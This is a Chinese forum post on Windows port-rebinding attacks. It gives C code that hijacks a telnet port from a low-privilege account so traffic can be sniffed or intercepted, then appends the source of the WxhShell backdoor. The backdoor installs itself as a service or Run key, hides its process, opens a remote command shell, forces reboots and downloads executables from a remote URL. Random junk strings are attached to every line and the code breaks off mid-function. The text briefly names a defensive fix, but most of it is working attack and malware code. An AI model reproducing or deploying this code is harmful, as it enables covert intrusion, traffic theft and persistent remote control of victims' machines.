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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: EHy15RL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); > ^=n|%  
~R&rQJJeJ  
  saddr.sin_family = AF_INET; qj9[mBkP"  
U&i#cF   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z`_x|cU?J  
Lk)I;;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C$p012D1  
L;lu)|b"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i?ZVVE=r  
!2Gua1z!CJ  
  这意味着什么?意味着可以进行如下的攻击: D]o=I1O?  
9wlp AK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -T}r$A  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r+8)<Xt+p  
yAAV,?:o[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #+QJ5VI :  
uI$n7\G!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NN#k^[i1  
Llkh kq_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IQ$!y,VJ  
c2t`i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  v%$l(  
OK)>QGl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wz1nV}  
-oUGmV_  
  #include E mg=,  
  #include tm/=Oc1p  
  #include ,4S[<(T"  
  #include    veuX />!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ni8%K6]z  
  int main() 4[i 3ckFT,  
  { XD?Lu _.  
  WORD wVersionRequested;  V~VUl)  
  DWORD ret; ;vneeW4|  
  WSADATA wsaData; ep~+]7\  
  BOOL val; ber&!9  
  SOCKADDR_IN saddr; 0$ON`Vsu|  
  SOCKADDR_IN scaddr; &@,lF{KTL  
  int err; X~UL$S;  
  SOCKET s; pV(k6h  
  SOCKET sc; Z^]jy>dj  
  int caddsize; 'z^'+}iyv  
  HANDLE mt; Ypl;jkHP  
  DWORD tid;   #8sy QWlG  
  wVersionRequested = MAKEWORD( 2, 2 ); =@ acg0  
  err = WSAStartup( wVersionRequested, &wsaData ); -<g[P_#  
  if ( err != 0 ) { e`co:HO`#  
  printf("error!WSAStartup failed!\n"); e/cHH3 4  
  return -1; rrR"2WuGO  
  } <o9AjASv\,  
  saddr.sin_family = AF_INET; $@@ii+W}\  
   :-O$rm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'j*Q   
qH0JZdk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3b\s;!  
  saddr.sin_port = htons(23); ;e*okYM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4evNZ Q  
  { BdMd\1eMw  
  printf("error!socket failed!\n"); H#7=s{u  
  return -1; *Lxt{z`9  
  } c0Bqm  
  val = TRUE; wm^1Fn--  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }-sh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w,X)g{^T  
  { uB^"A ;0v  
  printf("error!setsockopt failed!\n"); |{(JUXo6K  
  return -1; |$6Ten[B#  
  } Zo-,TKgY'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @sG*u >   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t{ yj`Vg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0ETT@/)]z  
z6}p4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p7 !y#  
  { X $V_  
  ret=GetLastError(); G62;p#  
  printf("error!bind failed!\n"); V,rR*a&p  
  return -1; T u%XhXl:j  
  } l?$X.Cw X  
  listen(s,2); 6eUGE4NF(  
  while(1) M*bsA/Z  
  { Y[vP]7-  
  caddsize = sizeof(scaddr); j94~c YV  
  //接受连接请求 O'B3sy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +,,dsL  
  if(sc!=INVALID_SOCKET) .wp[uLE  
  { <{8x-zbR+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "=n%L +6%  
  if(mt==NULL) nTc#I~\  
  { -~aG_Bp!($  
  printf("Thread Creat Failed!\n"); Q|P M6ta  
  break; 4W|cIcU W  
  } 7D,nxx(`  
  } dl[%C6  
  CloseHandle(mt); 7FkiT  
  } iDX<`)  
  closesocket(s); 50|nQ:u,  
  WSACleanup(); ( tq);m&  
  return 0; 7XT(n v  
  }   IJKdVb~   
  DWORD WINAPI ClientThread(LPVOID lpParam) c~/poFj  
  { O7_y QQAA  
  SOCKET ss = (SOCKET)lpParam; G /$+e  
  SOCKET sc; ygV_"=+|N  
  unsigned char buf[4096]; pGD-K41O]  
  SOCKADDR_IN saddr; v(R^LqE  
  long num; f+ZOE?"  
  DWORD val; +zbCYA  
  DWORD ret; :R +BC2x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n7B2rRJH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lK/4"&  
  saddr.sin_family = AF_INET; ,aD~7QX1:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <$hv{a  
  saddr.sin_port = htons(23); x^c,cV+*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ek_&E7  
  { )MSCyPp5  
  printf("error!socket failed!\n"); k&:q|[N  
  return -1; @aN~97 H\  
  } F'>yBDm*OM  
  val = 100; %).I &)i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w0@XJH:P  
  { #g@4c3um|  
  ret = GetLastError(); a!4p$pR  
  return -1; = 03G~7B>  
  } h5T~dGRlR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0}`.Z03fy  
  { [ _ `yy  
  ret = GetLastError(); !-n* ]C  
  return -1; >);M\,1\I  
  } RTvOaZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (e~9T MY  
  { |OAiHSW"V  
  printf("error!socket connect failed!\n"); BMQ4i&kF|  
  closesocket(sc); ~|, "w90  
  closesocket(ss); 6AdUlPM  
  return -1; x5xMr.vm  
  } Pzd!"Gl9  
  while(1) rNicg]:\x  
  { ">_|!B&wb^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^K::g)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O(-6Zqk8Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^8bc<c:P  
  num = recv(ss,buf,4096,0); jj;TS%  
  if(num>0) 3!cenyE  
  send(sc,buf,num,0); "x.iD,>k  
  else if(num==0) kI04<!  
  break; Het>G{  
  num = recv(sc,buf,4096,0); %Jd!x{a`>A  
  if(num>0) Av yer/{  
  send(ss,buf,num,0); K$GQc"  
  else if(num==0) a%a0/!U[  
  break; b;*'j9ly  
  } zsd<0^ p\{  
  closesocket(ss); 7&HcrkP]  
  closesocket(sc); v5e*R8/  
  return 0 ; TG8U=9qt  
  } m5] a  
6&6dd_K(  
{|OXiRm'  
========================================================== S76MY&Vx23  
-qvMMit%7  
下边附上一个代码,,WXhSHELL g,o46`6"  
8 l= EL7  
========================================================== yn@wce  
@`nG &U  
#include "stdafx.h" ^x/D8 M  
})kx#_o]'d  
#include <stdio.h> MK! @ND  
#include <string.h> C8qSoO4Z  
#include <windows.h> .X(qs1  
#include <winsock2.h> p/u  
#include <winsvc.h> eHGx00:  
#include <urlmon.h> :5&UWL|  
M&q~e@P  
#pragma comment (lib, "Ws2_32.lib") DnhbMxh8o  
#pragma comment (lib, "urlmon.lib") @p/"]zf  
k#~oagW_Gw  
#define MAX_USER   100 // 最大客户端连接数 *81/q8Az  
#define BUF_SOCK   200 // sock buffer sK9RViqF\  
#define KEY_BUFF   255 // 输入 buffer *wX[zO+o  
[AIqKyIr  
#define REBOOT     0   // 重启 y=+OC1k\8  
#define SHUTDOWN   1   // 关机 w8 N1-D42  
;o;ak.dTt  
#define DEF_PORT   5000 // 监听端口 [euR<i*I#  
9mn~57`y  
#define REG_LEN     16   // 注册表键长度 1 |) CQ  
#define SVC_LEN     80   // NT服务名长度 l O*  
-vc$I=b;  
// 从dll定义API = \oW {?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9C Ki$L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,JbP~2M~%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m :~y:.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .X)Wb{7  
Ay^P #\VZ  
// wxhshell配置信息 MT)q?NcG  
struct WSCFG { ,Csjb1  
  int ws_port;         // 监听端口 P*%P"g  
  char ws_passstr[REG_LEN]; // 口令 <tsexsw  
  int ws_autoins;       // 安装标记, 1=yes 0=no i| ,}y`C#  
  char ws_regname[REG_LEN]; // 注册表键名 8'qlg|{!~  
  char ws_svcname[REG_LEN]; // 服务名 j"pyK@v2B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eTw9 c }[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ieWXr4@:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XhWo~zh"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =oiz@Q@H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y0?HZ Xq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qe e_wx  
cH:&S=>h  
}; i PG:w+G  
YSfJUB!I  
// default Wxhshell configuration o@[o6.B<  
struct WSCFG wscfg={DEF_PORT, #4"eQ*.*"  
    "xuhuanlingzhe", r4X\/  
    1, 5.oY$tb(  
    "Wxhshell", :J x%K  
    "Wxhshell", & @_PY  
            "WxhShell Service", Ku uiU= (L  
    "Wrsky Windows CmdShell Service",  xI#rnx*  
    "Please Input Your Password: ", )Spa F)N8  
  1, D^p)`*  
  "http://www.wrsky.com/wxhshell.exe", "cjD-4 2  
  "Wxhshell.exe" " ;T a8  
    }; GNB'.tJ:0Y  
BNb_i H  
// 消息定义模块 * uccY_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2~ETu&R:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7PUy`H,&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cH|J  
char *msg_ws_ext="\n\rExit."; 7i02M~*uS  
char *msg_ws_end="\n\rQuit."; 08k  
char *msg_ws_boot="\n\rReboot..."; ` l'QAIo  
char *msg_ws_poff="\n\rShutdown..."; *A}td8(  
char *msg_ws_down="\n\rSave to "; U,fPG/9  
vflC{,{=k>  
char *msg_ws_err="\n\rErr!"; :M`~9MCRf  
char *msg_ws_ok="\n\rOK!"; *} Z  
saQo]6#  
char ExeFile[MAX_PATH]; &t_TLV 8T  
int nUser = 0; aCIz(3^  
HANDLE handles[MAX_USER]; dNqj|Vu  
int OsIsNt; =,qY\@fq  
<pKOFN%m  
SERVICE_STATUS       serviceStatus; O*]}0*CT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0(Z:QqpU$  
'gD./|Z0  
// 函数声明 "WXUz  
int Install(void); 3i4m!g5Z?  
int Uninstall(void); Ad3TD L?  
int DownloadFile(char *sURL, SOCKET wsh); QG L~??  
int Boot(int flag); <m{#u4FC'  
void HideProc(void); 2\|sXC  
int GetOsVer(void); x5;D'Y t"|  
int Wxhshell(SOCKET wsl); Q?([#  
void TalkWithClient(void *cs); KiE'O{Y  
int CmdShell(SOCKET sock); /M3;~sx  
int StartFromService(void); M)wNu  
int StartWxhshell(LPSTR lpCmdLine); 9asA-'fZ  
(sH4 T>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -=UvOzw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K9VP@[zbJ  
~+Cl9:4T  
// 数据结构和表定义 rTJqw@]#WH  
SERVICE_TABLE_ENTRY DispatchTable[] = H+gB|  
{ T-7( 3#&  
{wscfg.ws_svcname, NTServiceMain}, k{lXK\zN  
{NULL, NULL} 3KkJQ5a  
}; n<b}6L}  
<Zfh5AM  
// 自我安装 |\| v%`r2  
int Install(void) R{aqn0M  
{ 0A8G8^T  
  char svExeFile[MAX_PATH]; $DnJ/hg;qD  
  HKEY key; pj3H4yCM:  
  strcpy(svExeFile,ExeFile);  _PwPLSg  
@ IDY7x27  
// 如果是win9x系统,修改注册表设为自启动 rG[2.\&  
if(!OsIsNt) { Q4S:/"*v8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +R{~%ZTK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .>_%12>  
  RegCloseKey(key); ^Mhh2v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vJ 28A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XMxm2-%olP  
  RegCloseKey(key); W4(  
  return 0; HB.:/ 5\  
    } -sDl[  
  } A5%Now;.cf  
} 6-5{7E}/b  
else { &H}Xk!q5b^  
W&I:z-VH  
// 如果是NT以上系统,安装为系统服务 [L|vBr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Klu0m~X@  
if (schSCManager!=0) I?\P^f  
{ sdd%u~4,X  
  SC_HANDLE schService = CreateService z`u$C+Ov  
  ( :zO;E+s  
  schSCManager, wsAb8U C_  
  wscfg.ws_svcname, ku>Bxau4>  
  wscfg.ws_svcdisp, 7[R`52pP  
  SERVICE_ALL_ACCESS, ALInJ{X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5RY-.c4}  
  SERVICE_AUTO_START, i`}9VaUG  
  SERVICE_ERROR_NORMAL, r9D 68*H  
  svExeFile, F`Z?$ 1  
  NULL, ,#0#1k<Dm  
  NULL, (58r9WhS  
  NULL, +OSSgY$  
  NULL, j!0-3YKv  
  NULL x%W~@_  
  ); mr]~(]B?r  
  if (schService!=0) l6MBnvi   
  { q!h'rX=_-  
  CloseServiceHandle(schService); PBL=P+  
  CloseServiceHandle(schSCManager); ;uZeYY?   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !<X/_+G\  
  strcat(svExeFile,wscfg.ws_svcname); ?fc<3q"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )W vOa] :  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QMDkkNK  
  RegCloseKey(key); *N6sxFs  
  return 0; P.^*K:5@  
    } %_>8.7  
  } ^0(D2:E  
  CloseServiceHandle(schSCManager); ChNT; G<6$  
} ,d^HAg^j  
} ;vk>k0S  
Ca/N'|}^  
return 1; ]4lC/ &nm  
} <0Gk:NB,  
-xyY6bxL  
// 自我卸载 ybIqn0&[  
int Uninstall(void) iUqD>OV  
{ jG#e% `'  
  HKEY key; gS|6,A9  
rTST_$"_6  
if(!OsIsNt) { 01]W@ \(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F"23v G>3  
  RegDeleteValue(key,wscfg.ws_regname); N~?#Qh|ZnU  
  RegCloseKey(key); YCdtf7P=q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y|KT3  
  RegDeleteValue(key,wscfg.ws_regname); Cw5 B p9  
  RegCloseKey(key); nLrCy5R:  
  return 0; @j(2tJ,w  
  } srKEtd"  
} a:1$idj  
} _vAc/_ N  
else { ClPE_Cfw~  
52'6wwv6?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $$B#S '  
if (schSCManager!=0) [l~G7u.d  
{ I(/*pa?m{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ? Z2`f6;W4  
  if (schService!=0) j5~~%  
  { 8\?H`NN  
  if(DeleteService(schService)!=0) { "837b/>/  
  CloseServiceHandle(schService); = ^%*:iT  
  CloseServiceHandle(schSCManager); h=kC3ot\  
  return 0; 4`+R |"4  
  } =&: |a$C  
  CloseServiceHandle(schService); g6?5  
  } N{a=CaYi+  
  CloseServiceHandle(schSCManager); WZviC_  
} og4mLoLA  
} L/N%ft]!T  
dTwYDV}:  
return 1; fK^;?4  
} @$~;vS  
~svea>Fmr  
// 从指定url下载文件 ?ihRt+eR~  
int DownloadFile(char *sURL, SOCKET wsh) fUq #mkq}  
{ h5v=h>c  
  HRESULT hr; .W\x{h  
char seps[]= "/"; PM)nw;nS  
char *token; gBXoEn]  
char *file; {!1RlW  
char myURL[MAX_PATH]; ' 'p<C)Q  
char myFILE[MAX_PATH]; aZq7(pen  
q{L-(!uz7_  
strcpy(myURL,sURL); xd+aO=)Td  
  token=strtok(myURL,seps); u!FF{~5cs  
  while(token!=NULL) 60xL.Z   
  { B@8lD\  
    file=token; PJ<9T3Fa  
  token=strtok(NULL,seps); #w!ewCvt  
  } *}>)E]O@  
|Rm_8n%m  
GetCurrentDirectory(MAX_PATH,myFILE); T#&X7!4  
strcat(myFILE, "\\"); 7GJcg7s*T  
strcat(myFILE, file); bUuQ"!>ppu  
  send(wsh,myFILE,strlen(myFILE),0); xi)$t#K"  
send(wsh,"...",3,0); 7T(&DOGZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Uu9I;q!|  
  if(hr==S_OK) 6|4ID"  
return 0; IJ7wUZp"  
else {}H/N   
return 1; >H,E3Z  
ofs'xs1C  
} ZsP>CELm@  
CSBDSz  
// 系统电源模块 NLt"yD3t  
int Boot(int flag) 0W)|n9  
{ +$#h6V  
  HANDLE hToken; Q5Epq sKyC  
  TOKEN_PRIVILEGES tkp; kR8,E6Up  
5? f!hB|6  
  if(OsIsNt) { @=BApuer+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cG1iO:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^W~8)Rbf  
    tkp.PrivilegeCount = 1; VU+=b+B~m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w8`B}Dr23  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `4ti?^BNm  
if(flag==REBOOT) { j-| !QlB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5inCAPXz  
  return 0; nXERj; Q"  
} 1'1>B  
else { #@E:|^$1y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 00yWk_w  
  return 0; ;"8BbF.  
} "1 UpoF'w  
  } eZ 7Atuv  
  else { #9{2aRCJ  
if(flag==REBOOT) { b&RsxW7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9!ARr@ ;  
  return 0; O.{  
} 6lUC$B Y  
else { 7/)0{B4U'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =JxEM7r  
  return 0; Z=]ujlD  
} XQ8q)B=  
} *aGJ$ P0  
C(M?$s`  
return 1; 4P#4R B  
} uXb} o UC  
w zi7pJjXh  
// win9x进程隐藏模块 {Ywdhw JP  
void HideProc(void) a;\a>N4  
{  6NSSuK3  
.eyJ<b9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^UFNds'q  
  if ( hKernel != NULL ) {~XAg~  
  { VLoRS)   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9~y:K$NO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $"MGu^0;1  
    FreeLibrary(hKernel); sH]T1z  
  } LZQG.  
?A-f_0<0  
return; ScmwHid:\  
} **.23<n^W  
s|X_:3\x  
// 获取操作系统版本 ant2];0p  
int GetOsVer(void) #c~- 8=  
{ l8e)|MSh  
  OSVERSIONINFO winfo; { _Y'%Ggh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nQ{~D5y,,  
  GetVersionEx(&winfo); ^AERGB\36  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zjzEmX  
  return 1; vI:_bkii  
  else b*4aUpW  
  return 0; 3_]QtP3  
} qx*N-,M%k(  
AtxC(g m 1  
// 客户端句柄模块 ,bP8"|e  
int Wxhshell(SOCKET wsl) {XwDvLZ  
{ ({D>(xN   
  SOCKET wsh; tvJl&{-OX  
  struct sockaddr_in client; )19#g1rn5  
  DWORD myID; fUPYCw6F  
c{qTVi5e  
  while(nUser<MAX_USER) +fq\K]  
{ 2-@t,T  
  int nSize=sizeof(client); ;Zn&Nc7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :)FNhx3  
  if(wsh==INVALID_SOCKET) return 1; XXeDOrb  
v9(N}hoP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,uO_C(G/i  
if(handles[nUser]==0) :Y4Sdj  
  closesocket(wsh); F*-'8~T  
else GB,ub*|  
  nUser++; ID,os_ T=  
  } 5JhpBx/>o=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '2rSX[$ tf  
uA cvUN-@  
  return 0; 9E|QPT  
} :^FH.6}x  
5r d t  
// 关闭 socket I*/:rb  
void CloseIt(SOCKET wsh) !)05,6WQ  
{ C:f^&4 3  
closesocket(wsh); _,I~1"  
nUser--; LvU/,.$  
ExitThread(0); w{]B)>! 1W  
} L x iN9  
"W_E!FP]r  
// 客户端请求句柄 J?tnS6V  
void TalkWithClient(void *cs) 6="o&!  
{ \x5>H:\Y  
ZT`" {#L  
  SOCKET wsh=(SOCKET)cs; MJa` 4[/  
  char pwd[SVC_LEN]; "#iO{uMWb  
  char cmd[KEY_BUFF]; TJB4N$-}A  
char chr[1]; eKU4"XTk  
int i,j; Oi{J} 2U  
K7/&~;ZwT  
  while (nUser < MAX_USER) { P2U4,?_e  
?}EWfsA  
if(wscfg.ws_passstr) { S&;)F|-q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m}2hIhD9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X7gB.=\X  
  //ZeroMemory(pwd,KEY_BUFF); K9 K.mGYc  
      i=0; XXQC`%-]<i  
  while(i<SVC_LEN) { ' -aLBAxy  
TGjxy1A  
  // 设置超时 XjYMp3  
  fd_set FdRead; }g[Hi`  
  struct timeval TimeOut; <,H/7Ba  
  FD_ZERO(&FdRead); !#E-p?O.  
  FD_SET(wsh,&FdRead); >xH?`I7;f  
  TimeOut.tv_sec=8; y5VohVa`  
  TimeOut.tv_usec=0; oeI[x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^}:0\;|N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r]kks_!Z  
.'2"83f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S'>KGdF  
  pwd=chr[0]; %O{FZgi%wA  
  if(chr[0]==0xd || chr[0]==0xa) { uVXn/B  
  pwd=0; vY[ u;VU  
  break; %f(4jQ0I  
  } _ -,[U{  
  i++; e$mVA}>Ybp  
    } 5bol)Z9BO  
=w:H9uj6F  
  // 如果是非法用户,关闭 socket t*Z-]P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?wjk=hM2  
} 0\eSiXs  
Cq-99@&;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x/0x&la  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z_8Bl2tl  
=CL,+  
while(1) { psS^  
$-E<{   
  ZeroMemory(cmd,KEY_BUFF); "'>fTk_  
r8A'8g4cM  
      // 自动支持客户端 telnet标准   FtWO[*#  
  j=0; rAgpcp}  
  while(j<KEY_BUFF) { d Z+7S`{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `G>|g^6%i  
  cmd[j]=chr[0]; ~u?rjkSFoh  
  if(chr[0]==0xa || chr[0]==0xd) { v v   
  cmd[j]=0; 'OMl9}M  
  break; SO~pe$c-  
  } Yt r*"-  
  j++; MJK PpQ(,  
    } .&K?@T4l  
XD[9wd5w8  
  // 下载文件 lHu/pSu@k  
  if(strstr(cmd,"http://")) { 9(bbV5}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GW9,%}l^;  
  if(DownloadFile(cmd,wsh)) 'n?"f|G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f_:>36{1^!  
  else j\.e6&5%SS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Je*k)COn  
  } D9n+eZ  
  else { 9YBlMf`KEf  
XW{cC`&  
    switch(cmd[0]) { paxZlA o  
  u#->?  
  // 帮助 va.Ve# N  
  case '?': { ,yi@?lc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "7?xaGh8  
    break; 4XeO^#  
  } aCBq}Xcn  
  // 安装 Z,F1n/7  
  case 'i': { zaE!=-U  
    if(Install()) a$LoQ<f_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5%DHF-W)  
    else wJ7Fnj>u%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >DW%i\k1V~  
    break; H#bu3*'  
    } BkDq9>  
  // 卸载 YJwffV}nd  
  case 'r': { S @)P#  
    if(Uninstall()) JJP!9<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0LP>3"Sm  
    else ;ZZmX]kz,M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /{Z<!7u;U  
    break; <Oj'0NK-  
    } |:d_IB@  
  // 显示 wxhshell 所在路径 hud'@O"R+  
  case 'p': { o^BX:\}  
    char svExeFile[MAX_PATH]; CO SQ  
    strcpy(svExeFile,"\n\r"); Aac7k m  
      strcat(svExeFile,ExeFile); 77G4E ,]  
        send(wsh,svExeFile,strlen(svExeFile),0); @Lm(bW  
    break; Uz7V2r%]  
    } #YLI"/Kn  
  // 重启 .O9Pn,:  
  case 'b': { JWQ.Efe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A2B]E,JMp  
    if(Boot(REBOOT)) +#g4Crb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x ~@%+d  
    else { pz/vvH5  
    closesocket(wsh); 75']fFO@!  
    ExitThread(0); ;B"S*wYMN  
    } &F +hh{  
    break; RD*.n1N1  
    } "ScY'<  
  // 关机 vn96o] n  
  case 'd': { E~,Wpl}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <*$IZl6I  
